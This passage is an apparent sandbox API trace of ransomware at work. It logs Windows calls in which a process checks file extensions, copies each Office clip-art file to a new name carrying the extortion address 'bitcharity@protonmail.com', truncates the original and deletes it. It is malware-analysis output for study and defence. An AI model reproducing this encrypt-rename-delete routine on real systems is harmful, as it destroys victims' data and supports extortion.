Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0297.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0297.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0297.584] lstrlenW (lpString=".doc") returned 4 [0297.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.584] lstrlenW (lpString=".docx") returned 5 [0297.584] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.584] lstrlenW (lpString=".pdf") returned 4 [0297.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.584] lstrlenW (lpString=".xls") returned 4 [0297.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.584] lstrlenW (lpString=".xlsx") returned 5 [0297.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.584] lstrlenW (lpString=".ppt") returned 4 [0297.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0297.584] lstrlenW (lpString=".zip") returned 4 [0297.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.584] lstrlenW (lpString=".rar") returned 4 [0297.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.584] lstrlenW (lpString=".bz2") returned 4 [0297.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.584] lstrlenW (lpString=".7z") returned 3 [0297.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0297.585] lstrlenW (lpString=".dbf") returned 4 [0297.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0297.585] lstrlenW (lpString=".1cd") returned 4 [0297.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0297.585] lstrlenW (lpString=".jpg") returned 4 [0297.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0297.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0297.585] lstrlenW (lpString=".doc") returned 4 [0297.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.585] lstrlenW (lpString=".docx") returned 5 [0297.585] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.585] lstrlenW (lpString=".pdf") returned 4 [0297.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.585] lstrlenW (lpString=".xls") returned 4 [0297.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.585] lstrlenW (lpString=".xlsx") returned 5 [0297.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.585] lstrlenW (lpString=".ppt") returned 4 [0297.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0297.585] lstrlenW (lpString=".zip") returned 4 [0297.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.586] lstrlenW (lpString=".rar") returned 4 [0297.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.586] lstrlenW (lpString=".bz2") returned 4 [0297.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.586] lstrlenW (lpString=".7z") returned 3 [0297.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0297.586] lstrlenW (lpString=".dbf") returned 4 [0297.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0297.586] lstrlenW (lpString=".1cd") returned 4 [0297.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0297.586] lstrlenW (lpString=".jpg") returned 4 [0297.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.586] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.586] lstrlenW (lpString="FD00076_.WMF") returned 12 [0297.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0297.587] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=11994) returned 1 [0297.587] CloseHandle (hObject=0x10b8) returned 1 [0297.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220 [0297.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0297.587] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.587] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0297.588] GetLastError () returned 0x0 [0297.588] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x2eda, lpOverlapped=0x0) returned 1 [0297.643] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x2ee0, lpOverlapped=0x0) returned 1 [0297.645] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.645] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.645] SetEndOfFile (hFile=0x10b0) returned 1 [0297.645] CloseHandle (hObject=0x10b0) returned 1 [0297.645] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.645] SetEndOfFile (hFile=0x10b8) returned 1 [0297.646] CloseHandle (hObject=0x10b8) returned 1 [0297.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0297.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0297.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0297.647] lstrlenW (lpString=".doc") returned 4 [0297.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.647] lstrlenW (lpString=".docx") returned 5 [0297.647] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.647] lstrlenW (lpString=".pdf") returned 4 [0297.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.647] lstrlenW (lpString=".xls") returned 4 [0297.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.647] lstrlenW (lpString=".xlsx") returned 5 [0297.647] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.647] lstrlenW (lpString=".ppt") returned 4 [0297.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0297.647] lstrlenW (lpString=".zip") returned 4 [0297.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.647] lstrlenW (lpString=".rar") returned 4 [0297.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.647] lstrlenW (lpString=".bz2") returned 4 [0297.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.647] lstrlenW (lpString=".7z") returned 3 [0297.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0297.647] lstrlenW (lpString=".dbf") returned 4 [0297.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0297.647] lstrlenW (lpString=".1cd") returned 4 [0297.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0297.647] lstrlenW (lpString=".jpg") returned 4 [0297.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0297.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0297.647] lstrlenW (lpString=".doc") returned 4 [0297.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.647] lstrlenW (lpString=".docx") returned 5 [0297.647] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.647] lstrlenW (lpString=".pdf") returned 4 [0297.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.648] lstrlenW (lpString=".xls") returned 4 [0297.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.648] lstrlenW (lpString=".xlsx") returned 5 [0297.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.648] lstrlenW (lpString=".ppt") returned 4 [0297.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0297.648] lstrlenW (lpString=".zip") returned 4 [0297.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.648] lstrlenW (lpString=".rar") returned 4 [0297.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.648] lstrlenW (lpString=".bz2") returned 4 [0297.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.648] lstrlenW (lpString=".7z") returned 3 [0297.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0297.648] lstrlenW (lpString=".dbf") returned 4 [0297.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0297.648] lstrlenW (lpString=".1cd") returned 4 [0297.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0297.648] lstrlenW (lpString=".jpg") returned 4 [0297.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.648] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.648] lstrlenW (lpString="FD00296_.WMF") returned 12 [0297.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0297.649] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=15856) returned 1 [0297.649] CloseHandle (hObject=0x10b8) returned 1 [0297.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220 [0297.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0297.649] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.649] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0297.650] GetLastError () returned 0x0 [0297.650] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x3df0, lpOverlapped=0x0) returned 1 [0297.728] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x3e00, lpOverlapped=0x0) returned 1 [0297.730] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.730] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.730] SetEndOfFile (hFile=0x10b0) returned 1 [0297.730] CloseHandle (hObject=0x10b0) returned 1 [0297.730] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.730] SetEndOfFile (hFile=0x10b8) returned 1 [0297.733] CloseHandle (hObject=0x10b8) returned 1 [0297.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0297.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0297.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0297.733] lstrlenW (lpString=".doc") returned 4 [0297.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.733] lstrlenW (lpString=".docx") returned 5 [0297.733] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.733] lstrlenW (lpString=".pdf") returned 4 [0297.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.733] lstrlenW (lpString=".xls") returned 4 [0297.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.733] lstrlenW (lpString=".xlsx") returned 5 [0297.733] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.733] lstrlenW (lpString=".ppt") returned 4 [0297.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0297.734] lstrlenW (lpString=".zip") returned 4 [0297.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.734] lstrlenW (lpString=".rar") returned 4 [0297.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.734] lstrlenW (lpString=".bz2") returned 4 [0297.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.734] lstrlenW (lpString=".7z") returned 3 [0297.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0297.734] lstrlenW (lpString=".dbf") returned 4 [0297.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0297.734] lstrlenW (lpString=".1cd") returned 4 [0297.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0297.734] lstrlenW (lpString=".jpg") returned 4 [0297.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0297.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0297.734] lstrlenW (lpString=".doc") returned 4 [0297.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.734] lstrlenW (lpString=".docx") returned 5 [0297.734] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.734] lstrlenW (lpString=".pdf") returned 4 [0297.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.734] lstrlenW (lpString=".xls") returned 4 [0297.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.735] lstrlenW (lpString=".xlsx") returned 5 [0297.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.735] lstrlenW (lpString=".ppt") returned 4 [0297.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0297.735] lstrlenW (lpString=".zip") returned 4 [0297.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.735] lstrlenW (lpString=".rar") returned 4 [0297.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.735] lstrlenW (lpString=".bz2") returned 4 [0297.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.735] lstrlenW (lpString=".7z") returned 3 [0297.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0297.735] lstrlenW (lpString=".dbf") returned 4 [0297.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0297.735] lstrlenW (lpString=".1cd") returned 4 [0297.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0297.735] lstrlenW (lpString=".jpg") returned 4 [0297.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.735] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0297.735] lstrlenW (lpString="FD00361_.WMF") returned 12 [0297.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0297.736] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=4074) returned 1 [0297.736] CloseHandle (hObject=0x10b8) returned 1 [0297.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x220 [0297.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0297.736] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.736] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0297.736] GetLastError () returned 0x0 [0297.737] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0xfea, lpOverlapped=0x0) returned 1 [0297.860] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xff0, lpOverlapped=0x0) returned 1 [0297.861] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.861] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.861] SetEndOfFile (hFile=0x10b0) returned 1 [0297.861] CloseHandle (hObject=0x10b0) returned 1 [0297.861] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.861] SetEndOfFile (hFile=0x10b8) returned 1 [0297.862] CloseHandle (hObject=0x10b8) returned 1 [0297.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0297.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 